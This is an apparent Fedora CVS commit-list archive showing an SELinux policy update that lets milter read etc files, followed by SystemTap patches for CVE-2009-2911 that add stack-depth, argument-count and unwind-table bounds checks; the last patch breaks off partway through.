 policy/modules/apps/livecd.if                       |   56 
 policy/modules/apps/livecd.te                       |   26 
 policy/modules/apps/loadkeys.te                     |    5 
 policy/modules/apps/mono.if                         |  103 +
 policy/modules/apps/mono.te                         |    6 
 policy/modules/apps/mozilla.fc                      |   13 
 policy/modules/apps/mozilla.if                      |  325 +--
 policy/modules/apps/mozilla.te                      |   19 
 policy/modules/apps/mplayer.fc                      |    8 
 policy/modules/apps/mplayer.if                      |   64 
 policy/modules/apps/mplayer.te                      |    4 
 policy/modules/apps/nsplugin.fc                     |   13 
 policy/modules/apps/nsplugin.if                     |  318 +++
 policy/modules/apps/nsplugin.te                     |  290 +++
 policy/modules/apps/openoffice.fc                   |    3 
 policy/modules/apps/openoffice.if                   |  106 +
 policy/modules/apps/openoffice.te                   |   14 
 policy/modules/apps/podsleuth.fc                    |    2 
 policy/modules/apps/podsleuth.if                    |   34 
 policy/modules/apps/podsleuth.te                    |   44 
 policy/modules/apps/ptchown.fc                      |    2 
 policy/modules/apps/ptchown.if                      |   22 
 policy/modules/apps/ptchown.te                      |   39 
 policy/modules/apps/qemu.fc                         |    5 
 policy/modules/apps/qemu.if                         |  367 +++
 policy/modules/apps/qemu.te                         |  152 +
 policy/modules/apps/sambagui.fc                     |    4 
 policy/modules/apps/sambagui.if                     |    2 
 policy/modules/apps/sambagui.te                     |   62 
 policy/modules/apps/screen.fc                       |    2 
 policy/modules/apps/screen.if                       |   24 
 policy/modules/apps/screen.te                       |    4 
 policy/modules/apps/slocate.te                      |    4 
 policy/modules/apps/thunderbird.fc                  |    2 
 policy/modules/apps/thunderbird.if                  |   34 
 policy/modules/apps/thunderbird.te                  |    4 
 policy/modules/apps/tvtime.if                       |   39 
 policy/modules/apps/tvtime.te                       |    6 
 policy/modules/apps/uml.fc                          |    2 
 policy/modules/apps/vmware.fc                       |   19 
 policy/modules/apps/vmware.if                       |   14 
 policy/modules/apps/vmware.te                       |   17 
 policy/modules/apps/webalizer.te                    |    2 
 policy/modules/apps/wine.fc                         |   23 
 policy/modules/apps/wine.if                         |   50 
 policy/modules/apps/wine.te                         |    8 
 policy/modules/apps/wireshark.if                    |    2 
 policy/modules/apps/wm.fc                           |    3 
 policy/modules/apps/wm.if                           |  178 +
 policy/modules/apps/wm.te                           |   10 
 policy/modules/kernel/.filesystem.if.swp            |binary
 policy/modules/kernel/corecommands.fc               |   47 
 policy/modules/kernel/corecommands.if               |    1 
 policy/modules/kernel/corenetwork.if.in             |   46 
 policy/modules/kernel/corenetwork.te.in             |   41 
 policy/modules/kernel/devices.fc                    |   46 
 policy/modules/kernel/devices.if                    |  541 +++++
 policy/modules/kernel/devices.te                    |   45 
 policy/modules/kernel/domain.if                     |   22 
 policy/modules/kernel/domain.te                     |   53 
 policy/modules/kernel/files.fc                      |    2 
 policy/modules/kernel/files.if                      |  304 +++
 policy/modules/kernel/files.te                      |   11 
 policy/modules/kernel/filesystem.if                 |  356 +++
 policy/modules/kernel/filesystem.te                 |   18 
 policy/modules/kernel/kernel.if                     |   42 
 policy/modules/kernel/kernel.te                     |   16 
 policy/modules/kernel/selinux.if                    |   54 
 policy/modules/kernel/selinux.te                    |    6 
 policy/modules/kernel/storage.fc                    |    2 
 policy/modules/kernel/storage.if                    |    1 
 policy/modules/kernel/terminal.if                   |    6 
 policy/modules/roles/.staff.te.swp                  |binary
 policy/modules/roles/guest.fc                       |    1 
 policy/modules/roles/guest.if                       |  161 +
 policy/modules/roles/guest.te                       |   36 
 policy/modules/roles/logadm.fc                      |    1 
 policy/modules/roles/logadm.if                      |   44 
 policy/modules/roles/logadm.te                      |   20 
 policy/modules/roles/staff.te                       |   58 
 policy/modules/roles/sysadm.if                      |  114 -
 policy/modules/roles/sysadm.te                      |   14 
 policy/modules/roles/unprivuser.if                  |  605 ++++++
 policy/modules/roles/unprivuser.te                  |   15 
 policy/modules/roles/webadm.fc                      |    1 
 policy/modules/roles/webadm.if                      |   44 
 policy/modules/roles/webadm.te                      |   65 
 policy/modules/roles/xguest.fc                      |    1 
 policy/modules/roles/xguest.if                      |  161 +
 policy/modules/roles/xguest.te                      |   87 
 policy/modules/services/aide.if                     |    6 
 policy/modules/services/amavis.if                   |   20 
 policy/modules/services/amavis.te                   |    2 
 policy/modules/services/apache.fc                   |   35 
 policy/modules/services/apache.if                   |  488 +++--
 policy/modules/services/apache.te                   |  397 +++-
 policy/modules/services/apcupsd.fc                  |    2 
 policy/modules/services/arpwatch.fc                 |    1 
 policy/modules/services/arpwatch.if                 |   42 
 policy/modules/services/arpwatch.te                 |    3 
 policy/modules/services/asterisk.fc                 |    1 
 policy/modules/services/asterisk.if                 |   53 
 policy/modules/services/asterisk.te                 |    3 
 policy/modules/services/audioentropy.fc             |    2 
 policy/modules/services/audioentropy.te             |    1 
 policy/modules/services/automount.if                |   18 
 policy/modules/services/automount.te                |    6 
 policy/modules/services/avahi.fc                    |    4 
 policy/modules/services/avahi.if                    |  132 +
 policy/modules/services/avahi.te                    |   15 
 policy/modules/services/bind.fc                     |    7 
 policy/modules/services/bind.if                     |   92 
 policy/modules/services/bind.te                     |    5 
 policy/modules/services/bitlbee.te                  |    2 
 policy/modules/services/bluetooth.fc                |    5 
 policy/modules/services/bluetooth.if                |   53 
 policy/modules/services/bluetooth.te                |   22 
 policy/modules/services/certmaster.fc               |    9 
 policy/modules/services/certmaster.if               |  128 +
 policy/modules/services/certmaster.te               |   81 
 policy/modules/services/clamav.fc                   |   12 
 policy/modules/services/clamav.if                   |  105 +
 policy/modules/services/clamav.te                   |   35 
 policy/modules/services/consolekit.fc               |    3 
 policy/modules/services/consolekit.if               |   21 
 policy/modules/services/consolekit.te               |   64 
 policy/modules/services/courier.fc                  |    2 
 policy/modules/services/courier.if                  |   19 
 policy/modules/services/courier.te                  |    4 
 policy/modules/services/cron.fc                     |   10 
 policy/modules/services/cron.if                     |  250 +-
 policy/modules/services/cron.te                     |  112 -
 policy/modules/services/cups.fc                     |   32 
 policy/modules/services/cups.if                     |  106 +
 policy/modules/services/cups.te                     |  186 +
 policy/modules/services/cvs.te                      |    1 
 policy/modules/services/cyphesis.fc                 |    5 
 policy/modules/services/cyrus.te                    |    1 
 policy/modules/services/dbus.fc                     |    3 
 policy/modules/services/dbus.if                     |  235 ++
 policy/modules/services/dbus.te                     |   57 
 policy/modules/services/dcc.fc                      |    2 
 policy/modules/services/dcc.if                      |   18 
 policy/modules/services/dcc.te                      |   62 
 policy/modules/services/dhcp.fc                     |    1 
 policy/modules/services/dhcp.if                     |   60 
 policy/modules/services/dhcp.te                     |   18 
 policy/modules/services/dnsmasq.fc                  |    3 
 policy/modules/services/dnsmasq.if                  |  174 +
 policy/modules/services/dnsmasq.te                  |   22 
 policy/modules/services/dovecot.fc                  |   12 
 policy/modules/services/dovecot.if                  |   98 +
 policy/modules/services/dovecot.te                  |   98 -
 policy/modules/services/exim.if                     |   40 
 policy/modules/services/exim.te                     |  102 -
 policy/modules/services/fail2ban.fc                 |    1 
 policy/modules/services/fail2ban.if                 |   45 
 policy/modules/services/fail2ban.te                 |   10 
 policy/modules/services/fetchmail.fc                |    2 
 policy/modules/services/fetchmail.if                |   26 
 policy/modules/services/fetchmail.te                |   10 
 policy/modules/services/ftp.te                      |   53 
 policy/modules/services/gamin.fc                    |    2 
 policy/modules/services/gamin.if                    |   57 
 policy/modules/services/gamin.te                    |   39 
 policy/modules/services/gnomeclock.fc               |    3 
 policy/modules/services/gnomeclock.if               |   75 
 policy/modules/services/gnomeclock.te               |   55 
 policy/modules/services/gpsd.fc                     |    3 
 policy/modules/services/gpsd.if                     |   89 
 policy/modules/services/gpsd.te                     |   55 
 policy/modules/services/hal.fc                      |    4 
 policy/modules/services/hal.if                      |   39 
 policy/modules/services/hal.te                      |  112 +
 policy/modules/services/inetd.fc                    |    2 
 policy/modules/services/inetd.te                    |    2 
 policy/modules/services/kerberos.fc                 |    6 
 policy/modules/services/kerberos.te                 |    3 
 policy/modules/services/kerneloops.if               |   23 
 policy/modules/services/kerneloops.te               |    6 
 policy/modules/services/ktalk.te                    |    1 
 policy/modules/services/ldap.te                     |    6 
 policy/modules/services/lircd.fc                    |    9 
 policy/modules/services/lircd.if                    |  100 +
 policy/modules/services/lircd.te                    |   70 
 policy/modules/services/lpd.fc                      |    6 
 policy/modules/services/mailman.fc                  |    1 
 policy/modules/services/mailman.if                  |   28 
 policy/modules/services/mailman.te                  |   33 
 policy/modules/services/mailscanner.fc              |    2 
 policy/modules/services/mailscanner.if              |   59 
 policy/modules/services/mailscanner.te              |    5 
 policy/modules/services/milter.fc                   |   15 
 policy/modules/services/milter.if                   |  106 +
 policy/modules/services/milter.te                   |  107 +
 policy/modules/services/mta.fc                      |   10 
 policy/modules/services/mta.if                      |   70 
 policy/modules/services/mta.te                      |   76 
 policy/modules/services/munin.fc                    |    7 
 policy/modules/services/munin.if                    |   92 
 policy/modules/services/munin.te                    |   77 
 policy/modules/services/mysql.fc                    |    3 
 policy/modules/services/mysql.if                    |  128 +
 policy/modules/services/mysql.te                    |   53 
 policy/modules/services/nagios.fc                   |   11 
 policy/modules/services/nagios.if                   |   71 
 policy/modules/services/nagios.te                   |   58 
 policy/modules/services/networkmanager.fc           |   12 
 policy/modules/services/networkmanager.if           |   18 
 policy/modules/services/networkmanager.te           |  106 -
 policy/modules/services/nis.fc                      |    6 
 policy/modules/services/nis.if                      |  126 +
 policy/modules/services/nis.te                      |   27 
 policy/modules/services/nscd.fc                     |    1 
 policy/modules/services/nscd.if                     |  126 +
 policy/modules/services/nscd.te                     |   32 
 policy/modules/services/ntp.if                      |   57 
 policy/modules/services/ntp.te                      |   19 
 policy/modules/services/nx.fc                       |    4 
 policy/modules/services/oddjob.fc                   |    2 
 policy/modules/services/oddjob.if                   |   32 
 policy/modules/services/oddjob.te                   |   28 
 policy/modules/services/openvpn.fc                  |    1 
 policy/modules/services/openvpn.if                  |   36 
 policy/modules/services/openvpn.te                  |   19 
 policy/modules/services/pads.fc                     |   12 
 policy/modules/services/pads.if                     |   10 
 policy/modules/services/pads.te                     |   68 
 policy/modules/services/pcscd.fc                    |    1 
 policy/modules/services/pcscd.te                    |   12 
 policy/modules/services/pegasus.te                  |   28 
 policy/modules/services/pingd.fc                    |   11 
 policy/modules/services/pingd.if                    |   99 +
 policy/modules/services/pingd.te                    |   54 
 policy/modules/services/pki.fc                      |   46 
 policy/modules/services/pki.if                      |  643 ++++++
 policy/modules/services/pki.te                      |   91 
 policy/modules/services/polkit.fc                   |    9 
 policy/modules/services/polkit.if                   |  233 ++
 policy/modules/services/polkit.te                   |  235 ++
 policy/modules/services/portmap.te                  |    1 
 policy/modules/services/portreserve.fc              |   12 
 policy/modules/services/portreserve.if              |   70 
 policy/modules/services/portreserve.te              |   55 
 policy/modules/services/postfix.fc                  |    6 
 policy/modules/services/postfix.if                  |  136 +
 policy/modules/services/postfix.te                  |  134 +
 policy/modules/services/postgresql.fc               |    1 
 policy/modules/services/postgresql.if               |   43 
 policy/modules/services/postgresql.te               |   12 
 policy/modules/services/postgrey.fc                 |    4 
 policy/modules/services/postgrey.if                 |   67 
 policy/modules/services/postgrey.te                 |   19 
 policy/modules/services/ppp.fc                      |    6 
 policy/modules/services/ppp.if                      |   64 
 policy/modules/services/ppp.te                      |   38 
 policy/modules/services/prelude.fc                  |   14 
 policy/modules/services/prelude.if                  |   71 
 policy/modules/services/prelude.te                  |  193 ++
 policy/modules/services/privoxy.fc                  |    2 
 policy/modules/services/privoxy.if                  |   12 
 policy/modules/services/privoxy.te                  |   17 
 policy/modules/services/procmail.fc                 |    3 
 policy/modules/services/procmail.if                 |   38 
 policy/modules/services/procmail.te                 |   35 
 policy/modules/services/psad.fc                     |   17 
 policy/modules/services/psad.if                     |  304 +++
 policy/modules/services/psad.te                     |  107 +
 policy/modules/services/pyzor.fc                    |    6 
 policy/modules/services/pyzor.if                    |   61 
 policy/modules/services/pyzor.te                    |   51 
 policy/modules/services/qmail.te                    |    8 
 policy/modules/services/radius.te                   |    3 
 policy/modules/services/radvd.te                    |    2 
 policy/modules/services/razor.fc                    |    4 
 policy/modules/services/razor.if                    |   87 
 policy/modules/services/razor.te                    |   38 
 policy/modules/services/ricci.te                    |   18 
 policy/modules/services/rlogin.te                   |   16 
 policy/modules/services/roundup.fc                  |    2 
 policy/modules/services/roundup.if                  |   38 
 policy/modules/services/roundup.te                  |    3 
 policy/modules/services/rpc.fc                      |    1 
 policy/modules/services/rpc.if                      |   43 
 policy/modules/services/rpc.te                      |   33 
 policy/modules/services/rpcbind.fc                  |    2 
 policy/modules/services/rpcbind.te                  |    3 
 policy/modules/services/rshd.te                     |   17 
 policy/modules/services/rsync.fc                    |    2 
 policy/modules/services/rsync.te                    |   11 
 policy/modules/services/samba.fc                    |    8 
 policy/modules/services/samba.if                    |  387 ++++
 policy/modules/services/samba.te                    |  209 +-
 policy/modules/services/sasl.te                     |    5 
 policy/modules/services/sendmail.if                 |  103 +
 policy/modules/services/sendmail.te                 |   92 
 policy/modules/services/setroubleshoot.fc           |    2 
 policy/modules/services/setroubleshoot.if           |   48 
 policy/modules/services/setroubleshoot.te           |   31 
 policy/modules/services/smartmon.te                 |   12 
 policy/modules/services/snmp.fc                     |    6 
 policy/modules/services/snmp.if                     |   36 
 policy/modules/services/snmp.te                     |   28 
 policy/modules/services/snort.if                    |    9 
 policy/modules/services/snort.te                    |    9 
 policy/modules/services/spamassassin.fc             |   16 
 policy/modules/services/spamassassin.if             |  472 ++--
 policy/modules/services/spamassassin.te             |  220 ++
 policy/modules/services/squid.fc                    |    4 
 policy/modules/services/squid.if                    |   18 
 policy/modules/services/squid.te                    |    8 
 policy/modules/services/ssh.fc                      |    2 
 policy/modules/services/ssh.if                      |  151 +
 policy/modules/services/ssh.te                      |   43 
 policy/modules/services/stunnel.fc                  |    1 
 policy/modules/services/stunnel.te                  |    3 
 policy/modules/services/sysstat.te                  |    2 
 policy/modules/services/telnet.te                   |    4 
 policy/modules/services/tftp.te                     |    1 
 policy/modules/services/tor.te                      |    2 
 policy/modules/services/ulogd.fc                    |   10 
 policy/modules/services/ulogd.if                    |  127 +
 policy/modules/services/ulogd.te                    |   54 
 policy/modules/services/uucp.fc                     |    7 
 policy/modules/services/uucp.te                     |   14 
 policy/modules/services/virt.fc                     |    1 
 policy/modules/services/virt.if                     |   94 
 policy/modules/services/virt.te                     |   47 
 policy/modules/services/w3c.te                      |    7 
 policy/modules/services/xserver.fc                  |   40 
 policy/modules/services/xserver.if                  |  915 +++++++--
 policy/modules/services/xserver.te                  |  317 +++
 policy/modules/services/zebra.te                    |    2 
 policy/modules/services/zosremote.fc                |    2 
 policy/modules/services/zosremote.if                |   52 
 policy/modules/services/zosremote.te                |   36 
 policy/modules/system/application.te                |    6 
 policy/modules/system/authlogin.fc                  |   10 
 policy/modules/system/authlogin.if                  |  212 ++
 policy/modules/system/authlogin.te                  |   46 
 policy/modules/system/fstools.fc                    |    2 
 policy/modules/system/fstools.te                    |    9 
 policy/modules/system/hostname.te                   |    4 
 policy/modules/system/init.fc                       |    5 
 policy/modules/system/init.if                       |  129 +
 policy/modules/system/init.te                       |  114 +
 policy/modules/system/ipsec.fc                      |    3 
 policy/modules/system/ipsec.te                      |   47 
 policy/modules/system/iptables.fc                   |   16 
 policy/modules/system/iptables.te                   |   13 
 policy/modules/system/iscsi.te                      |    4 
 policy/modules/system/libraries.fc                  |   90 
 policy/modules/system/libraries.te                  |   18 
 policy/modules/system/locallogin.te                 |   26 
 policy/modules/system/logging.fc                    |   11 
 policy/modules/system/logging.if                    |   25 
 policy/modules/system/logging.te                    |   18 
 policy/modules/system/lvm.fc                        |    2 
 policy/modules/system/lvm.te                        |   66 
 policy/modules/system/miscfiles.if                  |   39 
 policy/modules/system/modutils.te                   |   40 
 policy/modules/system/mount.fc                      |    8 
 policy/modules/system/mount.if                      |   21 
 policy/modules/system/mount.te                      |   85 
 policy/modules/system/raid.te                       |    4 
 policy/modules/system/selinuxutil.fc                |   10 
 policy/modules/system/selinuxutil.if                |  373 +++
 policy/modules/system/selinuxutil.te                |  229 --
 policy/modules/system/setrans.if                    |   20 
 policy/modules/system/sysnetwork.fc                 |   15 
 policy/modules/system/sysnetwork.if                 |   82 
 policy/modules/system/sysnetwork.te                 |   72 
 policy/modules/system/udev.fc                       |    4 
 policy/modules/system/udev.if                       |   28 
 policy/modules/system/udev.te                       |   16 
 policy/modules/system/unconfined.fc                 |   34 
 policy/modules/system/unconfined.if                 |  300 +++
 policy/modules/system/unconfined.te                 |  209 +-
 policy/modules/system/userdomain.fc                 |    9 
 policy/modules/system/userdomain.if                 | 1899 ++++++++++++++------
 policy/modules/system/userdomain.te                 |   89 
 policy/modules/system/xen.fc                        |    6 
 policy/modules/system/xen.if                        |   50 
 policy/modules/system/xen.te                        |  127 +
 policy/policy_capabilities                          |    2 
 policy/support/obj_perm_sets.spt                    |   74 
 policy/users                                        |   13 
 support/Makefile.devel                              |    3 
 456 files changed, 22287 insertions(+), 3612 deletions(-)

Index: policy-20080710.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-10/policy-20080710.patch,v
retrieving revision 1.180
retrieving revision 1.181
diff -u -p -r1.180 -r1.181
--- policy-20080710.patch	1 Oct 2009 15:36:53 -0000	1.180
+++ policy-20080710.patch	21 Oct 2009 15:32:24 -0000	1.181
@@ -19098,8 +19098,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/milter.if serefpolicy-3.5.13/policy/modules/services/milter.if
 --- nsaserefpolicy/policy/modules/services/milter.if	1970-01-01 01:00:00.000000000 +0100
-+++ serefpolicy-3.5.13/policy/modules/services/milter.if	2009-04-24 10:10:52.000000000 +0200
-@@ -0,0 +1,104 @@
++++ serefpolicy-3.5.13/policy/modules/services/milter.if	2009-10-21 17:24:22.000000000 +0200
+@@ -0,0 +1,106 @@
 +## <summary>Milter mail filters</summary>
 +
 +########################################
@@ -19136,6 +19136,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +	# Create other data files and directories in the data directory
 +	manage_files_pattern($1_milter_t, $1_milter_data_t, $1_milter_data_t)
++	
++	files_read_etc_files($1_milter_t)
 +
 +	miscfiles_read_localization($1_milter_t)
 +


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-10/selinux-policy.spec,v
retrieving revision 1.808
retrieving revision 1.809
diff -u -p -r1.808 -r1.809
--- selinux-policy.spec	1 Oct 2009 15:36:54 -0000	1.808
+++ selinux-policy.spec	21 Oct 2009 15:32:29 -0000	1.809
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.5.13
-Release: 73%{?dist}
+Release: 74%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -462,6 +462,9 @@ exit 0
 %endif
 
 %changelog
+* Wed Oct 21 2009 Miroslav Grepl <mgrepl at redhat.com> 3.5.13-74
+- Allow spamass-milter to read etc files
+
 * Thu Oct 1 2009 Miroslav Grepl <mgrepl at redhat.com> 3.5.13-73
 - Allow unconfined_mount_t to execute in rpcd domain
 



From jistone at fedoraproject.org  Wed Oct 21 15:36:43 2009
From: jistone at fedoraproject.org (Josh Stone)
Date: Wed, 21 Oct 2009 15:36:43 +0000 (UTC)
Subject: rpms/systemtap/devel
	SystemTap-1.0-limit-dwarf-expression-stack-size.patch, NONE,
	1.1 SystemTap-1.0-limit-printf-arguments.patch, NONE,
	1.1 SystemTap-1.0-unwind-table-size-checks.patch, NONE,
	1.1 systemtap.spec, 1.53, 1.54
Message-ID: <20091021153643.D692A11C00E8@cvs1.fedora.phx.redhat.com>

Author: jistone

Update of /cvs/pkgs/rpms/systemtap/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16849

Modified Files:
	systemtap.spec 
Added Files:
	SystemTap-1.0-limit-dwarf-expression-stack-size.patch 
	SystemTap-1.0-limit-printf-arguments.patch 
	SystemTap-1.0-unwind-table-size-checks.patch 
Log Message:
Fixes for CVE-2009-2911

SystemTap-1.0-limit-dwarf-expression-stack-size.patch:
 dwflpp.cxx   |   10 +++++++++-
 loc2c-test.c |    7 +++++--
 loc2c.c      |   19 ++++++++++++++-----
 loc2c.h      |    3 ++-
 4 files changed, 30 insertions(+), 9 deletions(-)

--- NEW FILE SystemTap-1.0-limit-dwarf-expression-stack-size.patch ---
diff --git a/dwflpp.cxx b/dwflpp.cxx
index 636cd38..c31548d 100644
--- a/dwflpp.cxx
+++ b/dwflpp.cxx
@@ -2272,7 +2272,15 @@ dwflpp::express_as_string (string prelude,
 
   fprintf(memstream, "{\n");
   fprintf(memstream, "%s", prelude.c_str());
-  bool deref = c_emit_location (memstream, head, 1);
+
+  unsigned int stack_depth;
+  bool deref = c_emit_location (memstream, head, 1, &stack_depth);
+
+  // Ensure that DWARF keeps loc2c to a "reasonable" stack size
+  // 32 intptr_t leads to max 256 bytes on the stack
+  if (stack_depth > 32)
+    throw semantic_error("oversized DWARF stack");
+
   fprintf(memstream, "%s", postlude.c_str());
   fprintf(memstream, "  goto out;\n");
 
diff --git a/loc2c-test.c b/loc2c-test.c
index 495a95f..ed7aa4b 100644
--- a/loc2c-test.c
+++ b/loc2c-test.c
@@ -329,11 +329,14 @@ handle_variable (Dwarf_Die *lscopes, int lnscopes, int out,
 	"{\n"
 	"  intptr_t value;");
 
-  bool deref = c_emit_location (stdout, head, 1);
+  unsigned int stack_depth;
+  bool deref = c_emit_location (stdout, head, 1, &stack_depth);
 
   obstack_free (&pool, NULL);
 
-  puts (store ? " return;" :
+  printf ("  /* max expression stack depth %u */\n", stack_depth);
+
+  puts (store ? "  return;" :
 	"  printk (\" ---> %ld\\n\", (unsigned long) value);\n"
 	"  return;");
 
diff --git a/loc2c.c b/loc2c.c
index 5d6b549..0716c7d 100644
--- a/loc2c.c
+++ b/loc2c.c
@@ -2071,7 +2071,8 @@ emit_loc_address (FILE *out, struct location *loc, unsigned int indent,
    assign it to an address-sized value.  */
 static void
 emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
-		const char *target, bool declare)
+		const char *target, bool declare,
+		bool *used_deref, unsigned int *max_stack)
 {
   if (declare)
     emit ("%*s%s %s;\n", indent * 2, "", STACK_TYPE, target);
@@ -2091,6 +2092,9 @@ emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
     case loc_address:
     case loc_value:
       emit_loc_address (out, loc, indent, target);
+      *used_deref = *used_deref || loc->address.used_deref;
+      if (loc->address.stack_depth > *max_stack)
+	*max_stack = loc->address.stack_depth;
       break;
     }
 
@@ -2098,7 +2102,8 @@ emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
 }
 
 bool
-c_emit_location (FILE *out, struct location *loc, int indent)
+c_emit_location (FILE *out, struct location *loc, int indent,
+		 unsigned int *max_stack)
 {
   emit ("%*s{\n", indent * 2, "");
 
@@ -2134,9 +2139,11 @@ c_emit_location (FILE *out, struct location *loc, int indent)
       }
 
   bool deref = false;
+  *max_stack = 0;
 
   if (loc->frame_base != NULL)
-    emit_loc_value (out, loc->frame_base, indent, "frame_base", true);
+    emit_loc_value (out, loc->frame_base, indent, "frame_base", true,
+		    &deref, max_stack);
 
   for (; loc->next != NULL; loc = loc->next)
     switch (loc->type)
@@ -2144,8 +2151,7 @@ c_emit_location (FILE *out, struct location *loc, int indent)
       case loc_address:
       case loc_value:
 	/* Emit the program fragment to calculate the address.  */
-	emit_loc_value (out, loc, indent + 1, "addr", false);
-	deref = deref || loc->address.used_deref;
+	emit_loc_value (out, loc, indent + 1, "addr", false, &deref, max_stack);
 	break;
 
       case loc_fragment:
@@ -2172,6 +2178,9 @@ c_emit_location (FILE *out, struct location *loc, int indent)
 
   emit ("%s%*s}\n", loc->address.program, indent * 2, "");
 
+  if (loc->address.stack_depth > *max_stack)
+    *max_stack = loc->address.stack_depth;
+
   return deref || loc->address.used_deref;
 }
 
diff --git a/loc2c.h b/loc2c.h
index becf2d8..45d9382 100644
--- a/loc2c.h
+++ b/loc2c.h
@@ -112,6 +112,7 @@ struct location *c_translate_argument (struct obstack *,
 
    Writes complete lines of C99, code forming a complete C block, to STREAM.
    Return value is true iff that code uses the `deref' runtime macros.  */
-bool c_emit_location (FILE *stream, struct location *loc, int indent);
+bool c_emit_location (FILE *stream, struct location *loc, int indent,
+		      unsigned int *max_stack);
 
 /* vim: set sw=2 ts=8 cino=>4,n-2,{2,^-2,t0,(0,u0,w1,M1 : */


SystemTap-1.0-limit-printf-arguments.patch:
 buildrun.cxx                  |    3 +++
 testsuite/transko/varargs.stp |   10 ++++++++++
 testsuite/transok/varargs.stp |    9 +++++++++
 translate.cxx                 |    5 +++++
 4 files changed, 27 insertions(+)

--- NEW FILE SystemTap-1.0-limit-printf-arguments.patch ---
diff --git a/buildrun.cxx b/buildrun.cxx
index 100cbc4..c86a442 100644
--- a/buildrun.cxx
+++ b/buildrun.cxx
@@ -200,6 +200,9 @@ compile_pass (systemtap_session& s)
 
   // o << "CFLAGS += -fno-unit-at-a-time" << endl;
 
+  // 600 bytes should be enough for anybody
+  o << "EXTRA_CFLAGS += $(call cc-option,-Wframe-larger-than=600)" << endl;
+
   // Assumes linux 2.6 kbuild
   o << "EXTRA_CFLAGS += -Wno-unused -Werror" << endl;
   #if CHECK_POINTER_ARITH_PR5947
diff --git a/testsuite/transko/varargs.stp b/testsuite/transko/varargs.stp
new file mode 100755
index 0000000..f38309a
--- /dev/null
+++ b/testsuite/transko/varargs.stp
@@ -0,0 +1,10 @@
+#! stap -p3
+
+probe begin {
+    // PR10750 enforces at most 32 print args
+    println(1, 2, 3, 4, 5, 6, 7, 8,
+            9, 10, 11, 12, 13, 14, 15, 16,
+            17, 18, 19, 20, 21, 22, 23, 24,
+            25, 26, 27, 28, 29, 30, 31, 32,
+            33)
+}
diff --git a/testsuite/transok/varargs.stp b/testsuite/transok/varargs.stp
new file mode 100755
index 0000000..216166f
--- /dev/null
+++ b/testsuite/transok/varargs.stp
@@ -0,0 +1,9 @@
+#! stap -p3
+
+probe begin {
+    // PR10750 enforces at most 32 print args
+    println(1, 2, 3, 4, 5, 6, 7, 8,
+            9, 10, 11, 12, 13, 14, 15, 16,
+            17, 18, 19, 20, 21, 22, 23, 24,
+            25, 26, 27, 28, 29, 30, 31, 32)
+}
diff --git a/translate.cxx b/translate.cxx
index 04a9247..c73a5bd 100644
--- a/translate.cxx
+++ b/translate.cxx
@@ -4151,6 +4151,11 @@ c_unparser::visit_print_format (print_format* e)
     {
       stmt_expr block(*this);
 
+      // PR10750: Enforce a reasonable limit on # of varargs
+      // 32 varargs leads to max 256 bytes on the stack
+      if (e->args.size() > 32)
+        throw semantic_error("too many arguments to print", e->tok);
+
       // Compute actual arguments
       vector<tmpvar> tmp;
 


SystemTap-1.0-unwind-table-size-checks.patch:
 runtime/unwind.c        |   43 ++++++++++++++++++++++++++++++++++++-------
 runtime/unwind/unwind.h |    6 ++++--
 translate.cxx           |   11 +++++++++++
 3 files changed, 51 insertions(+), 9 deletions(-)

--- NEW FILE SystemTap-1.0-unwind-table-size-checks.patch ---
diff --git a/runtime/unwind.c b/runtime/unwind.c
index 00108a3..7607770 100644
--- a/runtime/unwind.c
+++ b/runtime/unwind.c
@@ -88,7 +88,7 @@ static sleb128_t get_sleb128(const u8 **pcur, const u8 *end)
 
 /* given an FDE, find its CIE */
 static const u32 *cie_for_fde(const u32 *fde, void *unwind_data,
-			      int is_ehframe)
+			      uint32_t table_len, int is_ehframe)
 {
 	const u32 *cie;
 
@@ -118,6 +118,11 @@ static const u32 *cie_for_fde(const u32 *fde, void *unwind_data,
 	else
 		cie = unwind_data + fde[1];
 
+	/* Make sure address falls in the table */
+	if (((void *)cie) < ((void*)unwind_data)
+	    || ((void*)cie) > ((void*)(unwind_data + table_len)))
+	  return NULL;
+
 	if (*cie <= sizeof(*cie) + 4 || *cie >= fde[1] - sizeof(*fde)
 	    || (*cie & (sizeof(*cie) - 1))
 	    || (cie[1] != 0xffffffff && cie[1] != 0)) {
@@ -200,7 +205,8 @@ static unsigned long read_pointer(const u8 **pLoc, const void *end, signed ptrTy
 	return value;
 }
 
-static signed fde_pointer_type(const u32 *cie)
+static signed fde_pointer_type(const u32 *cie, void *unwind_data,
+			       uint32_t table_len)
 {
 	const u8 *ptr = (const u8 *)(cie + 2);
 	unsigned version = *ptr;
@@ -212,11 +218,16 @@ static signed fde_pointer_type(const u32 *cie)
 		const u8 *end = (const u8 *)(cie + 1) + *cie;
 		uleb128_t len;
 
+		/* end of cie should fall within unwind table. */
+		if (((void*)end) < ((void *)unwind_data)
+		    || ((void *)end) > ((void *)(unwind_data + table_len)))
+		  return -1;
+
 		/* check if augmentation size is first (and thus present) */
 		if (*ptr != 'z')
 			return -1;
 		/* check if augmentation string is nul-terminated */
-		if ((ptr = memchr(aug = (const void *)ptr, 0, end - ptr)) == NULL)
+		if ((ptr = memchr(aug = (const void *)ptr, 0, end - ptr)) == NULL) 
 			return -1;
 		++ptr;		/* skip terminator */
 		get_uleb128(&ptr, end);	/* skip code alignment */
@@ -267,6 +278,10 @@ static void set_rule(uleb128_t reg, enum item_location where, uleb128_t value, s
 	}
 }
 
+/* Limit the number of instructions we process. Arbitrary limit.
+   512 should be enough for anybody... */
+#define MAX_CFI 512
+
 static int processCFI(const u8 *start, const u8 *end, unsigned long targetLoc, signed ptrType, struct unwind_state *state)
 {
 	union {
@@ -276,6 +291,9 @@ static int processCFI(const u8 *start, const u8 *end, unsigned long targetLoc, s
 	} ptr;
 	int result = 1;
 
+	if (end - start > MAX_CFI)
+	  return 0;
+
